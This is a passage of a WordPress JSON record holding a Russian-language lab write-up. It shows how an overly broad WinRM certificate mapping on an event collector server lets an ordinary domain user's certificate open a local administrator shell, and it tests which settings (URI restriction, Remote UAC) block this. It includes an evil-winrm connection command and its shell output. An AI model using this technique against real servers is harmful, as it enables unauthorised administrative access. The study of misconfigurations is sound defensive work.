SeLoadDriverPrivilege\u00a0 SeImpersonatePrivilege\u0418\u0442\u043e\u0433\u043e: \u0438\u0437 \u043e\u0431\u044b\u0447\u043d\u043e\u0439 \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0439 \u0423\u0417 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u0443\u044e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e WinRM-\u0441\u0435\u0441\u0441\u0438\u044e \u043d\u0430 WEC.\u00a0\u041f\u0440\u0438\u0447\u0451\u043c \u043f\u0440\u0430\u0432\u0430\u00a0TEST\\bob\u00a0\u043d\u0430 \u0441\u0430\u043c\u043e\u043c\u00a0SRV01\u00a0\u0437\u0434\u0435\u0441\u044c \u043d\u0438 \u043f\u0440\u0438 \u0447\u0451\u043c \u2014 \u043e\u043d\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u043b\u0438\u0441\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u043c \u0432 certificate mapping.\u0412\u0430\u0440\u0438\u0430\u043d\u0442 \u2116 2. \u041e\u0431\u044b\u0447\u043d\u044b\u0439 User-\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0431\u0435\u0437 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0414\u0430\u043b\u0435\u0435 \u0432\u043e\u0437\u043d\u0438\u043a \u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0439 \u0432\u043e\u043f\u0440\u043e\u0441: \u0430 \u0437\u0430\u0447\u0435\u043c \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0443\u0436\u0435\u043d\u00a0MachineAccountQuota, \u0435\u0441\u043b\u0438 WinRM \u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u0432\u044b\u0434\u0430\u044e\u0449\u0438\u0439 CA,\u00a0Subject\u00a0\u0438\u00a0URI?\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u0432\u0442\u043e\u0440\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442.\u00a0TEST\\bob\u00a0\u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0438\u0437 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0433\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0430\u00a0User, \u0431\u0435\u0437 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0439 \u0423\u0417. \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435:openssl x509 -in bob-user.crt.pem -noout \\\u00a0 -subject -issuer -ext extendedKeyUsagesubject=DC=local, DC=test, CN=Users, CN=bobissuer=DC=local, DC=test, CN=TEST-ROOT-CAX509v3 Extended Key Usage:\u00a0 \u00a0 Microsoft Encrypted File System,\u00a0 \u00a0 E-mail Protection,\u00a0 \u00a0 TLS Web Client Authentication\u041f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435, \u043d\u043e \u0443\u0436\u0435 \u0441 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f:evil-winrm -i srv01.test.local -S -P 5986 \\\u00a0 -c bob-user.crt.pem -k bob-user.key.pem*Evil-WinRM* PS C:\\Users\\CERTMAP-ADMIN\\Documents&gt; whoami \/usersrv01\\certmap-admin S-1-5-21-3931055678-3624413536-1687736101-1000\u0412\u043e\u0442 \u044d\u0442\u043e \u0443\u0436\u0435 \u0433\u043e\u0440\u0430\u0437\u0434\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0435\u0435.\u00a0ms-DS-MachineAccountQuota &gt; 0\u00a0\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c. \u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0439 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0438\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0448\u0438\u0440\u043e\u043a\u043e\u0433\u043e mapping \u043d\u0430 WEC. \u0412 \u043c\u043e\u0451\u043c \u0441\u0442\u0435\u043d\u0434\u0435 \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u0434\u043e\u0448\u0451\u043b \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439\u00a0User.\u0412\u0430\u0436\u043d\u0430\u044f \u043e\u0433\u043e\u0432\u043e\u0440\u043a\u0430:\u00a0\u043d\u0435\u00a0\u043b\u044e\u0431\u043e\u0439\u00a0\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0442\u043a\u0440\u043e\u0435\u0442 shell. \u041e\u043d \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0438 \u0441\u0442\u0430\u0442\u0443\u0441\u0430, \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442\u044c \u0434\u043b\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u044f\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u043f\u0440\u0430\u0432\u0438\u043b\u0443 WinRM.\u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0435 \u0442\u0435\u0441\u0442\u044b: \u0433\u0434\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0433\u0440\u0430\u043d\u0438\u0446\u0430?\u041f\u043e\u043b\u0443\u0447\u0438\u0442\u044c shell \u2014 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f. \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c, \u0437\u0430 \u0441\u0447\u0451\u0442 \u0447\u0435\u0433\u043e \u043e\u043d \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438 \u043a\u0430\u043a\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0442 \u0434\u043e\u0441\u0442\u0443\u043f.URI: \u0434\u0435\u043b\u043e \u043d\u0435 \u0432 \u043e\u0431\u0445\u043e\u0434\u0435, \u0430 \u0432 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u0448\u0438\u0440\u043e\u043a\u043e\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u0435\u041c\u0435\u043d\u044f\u043b \u0442\u043e\u043b\u044c\u043a\u043e\u00a0URI\u00a0certificate mapping, \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0442\u043e\u0433\u043e \u0436\u0435 \u0432\u044b\u0434\u0430\u044e\u0449\u0435\u0433\u043e \u0423\u0426,\u00a0Subject=*, \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442.URI \u0432 \u043f\u0440\u0430\u0432\u0438\u043b\u0435WinRM shell\u041f\u0435\u0440\u0435\u0441\u044b\u043b\u043a\u0430 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 WEC*\u0423\u0441\u043f\u0435\u0448\u043d\u043e\u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442http:\/\/schemas.microsoft.com\/wbem\/wsman\/1\/windows\/shell*\u0423\u0441\u043f\u0435\u0448\u043d\u043e\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0430\u0441\u044chttp:\/\/schemas.microsoft.com\/wbem\/wsman\/1\/windows\/EventLog*\u041e\u0442\u043a\u0430\u0437\u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442http:\/\/schemas.microsoft.com\/wbem\/wsman\/1\/config*\u041e\u0442\u043a\u0430\u0437\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0430\u0441\u044c\u0421\u0430\u043c\u044b\u0439 \u0432\u0430\u0436\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u2014\u00a0EventLog*. \u041f\u043e\u0441\u043b\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0440\u0435\u0441\u0443\u0440\u0441\u0430 \u043d\u043e\u0432\u0430\u044f Evil-WinRM-\u0441\u0435\u0441\u0441\u0438\u044f \u043d\u0435 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b\u0430\u0441\u044c. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u044f \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u043d\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u043c WEC-\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435 \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0438\u0445 \u0432\u00a0ForwardedEvents\u00a0\u043d\u0430 \u043a\u043e\u043b\u043b\u0435\u043a\u0442\u043e\u0440\u0435:Event ID: 901, 902Provider: CertiSplitLabSource: PC01.test.localDestination: ForwardedEvents\u0422\u043e \u0435\u0441\u0442\u044c\u00a0\u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0441\u044b\u043b\u043a\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u0439\u00a0URI=*\u00a0\u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0441\u044f, \u0430 \u0434\u043e\u0441\u0442\u0443\u043f \u043a shell \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0442\u0441\u0435\u0447\u044c. \u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e, \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0423\u0417 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b\u043e shell (WSMan fault code 1309), \u043d\u043e \u043d\u0435 \u043c\u0435\u0448\u0430\u043b\u043e \u0444\u043e\u0440\u0432\u0430\u0440\u0434\u0438\u043d\u0433\u0443; \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0435\u0451 \u0438\u0437\u00a0Administrators\u00a0\u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043b\u043e \u043a \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 (AccessDenied, \u043a\u043e\u0434\u00a05).\u041e\u0431\u0445\u043e\u0434\u0430 URI selector \u0432 \u044d\u0442\u043e\u043c \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 \u043d\u0435\u0442: \u0441\u0435\u043b\u0435\u043a\u0442\u043e\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0435\u0441\u043b\u0438 \u0438\u043c \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f.Remote UAC: \u043f\u043e\u0447\u0435\u043c\u0443\u00a0LocalAccountTokenFilterPolicy=0\u00a0\u043d\u0435 \u0441\u043f\u0430\u0441\u041f\u043e\u0436\u0430\u043b\u0443\u0439, \u044d\u0442\u043e\u00a0\u0441\u0430\u043c\u044b\u0439 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u00a0\u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f shell. \u0412 Windows \u0435\u0441\u0442\u044c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c Remote UAC, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0434 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0443\u0447\u0451\u0442\u043d\u044b\u043c\u0438 \u0437\u0430\u043f\u0438\u0441\u044f\u043c\u0438. \u041f\u0440\u0438\u00a0LocalAccountTokenFilterPolicy=0\u00a0(\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e) \u0434\u043b\u044f \u043f\u0440\u044f\u043c\u043e\u0433\u043e \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d. \u0414\u043b\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e PowerShell endpoint \u044d\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043e\u0442\u043a\u0430\u0437 \u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0435.\u0418 \u0437\u0434\u0435\u0441\u044c \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0432\u043e\u043f\u0440\u043e\u0441:\u00a0\u0435\u0441\u043b\u0438 \u0443\u0447\u0451\u0442\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c\u00a0SRV01\\CERTMAP-ADMIN\u00a0\u043e\u0434\u043d\u0430 \u0438 \u0442\u0430 \u0436\u0435, \u0431\u0443\u0434\u0435\u0442 \u043b\u0438 Remote UAC \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 \u0438 \u0432\u0445\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442?\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435\u00a0SRV01\\CERTMAP-ADMIN\u00a0\u043d\u0430 \u043e\u0434\u043d\u043e\u043c WinRM endpoint.\u00a0EnableLUA=1\u00a0\u043e\u0441\u0442\u0430\u0432\u0430\u043b\u0441\u044f \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u043c. \u0418\u0437\u043c\u0435\u043d\u044f\u043b \u0442\u043e\u043b\u044c\u043a\u043e\u00a0LocalAccountTokenFilterPolicy\u00a0\u0438 \u0441\u043f\u043e\u0441\u043e\u0431 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438: \u043f\u0430\u0440\u043e\u043b\u044c \u043b\u0438\u0431\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442.\u0421\u043f\u043e\u0441\u043e\u0431 \u0432\u0445\u043e\u0434\u0430LATFP4624: LogonProcess \/ PackageElevatedTokenShell\u041f\u0430\u0440\u043e\u043b\u044c\u00a0CERTMAP-ADMIN1NtLmSsp \/ NTLMYes\u0423\u0441\u043f\u0435\u0448\u043d\u043e\u041f\u0430\u0440\u043e\u043b\u044c\u00a0CERTMAP-ADMIN0NtLmSsp \/ NTLMNoWinRMAuthorizationError\u0421\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u2192\u00a0CERTMAP-ADMIN1Advapi \/ NegotiateYes\u0423\u0441\u043f\u0435\u0448\u043d\u043e\u0421\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u2192\u00a0CERTMAP-ADMIN0Advapi \/ NegotiateYes\u0423\u0441\u043f\u0435\u0448\u043d\u043e\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0440\u0430\u0437\u043d\u0438\u0446\u0430: \u043f\u0440\u0438\u00a0\u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0445\u00a0EnableLUA=1,\u00a0LATFP=0, \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0423\u0417 \u0438 WinRM endpoint\u00a0\u043f\u0430\u0440\u043e\u043b\u044c\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u043e\u0439 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438, \u0430&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-499635","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/499635","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=499635"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/499635\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=499635"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=499635"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=499635"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}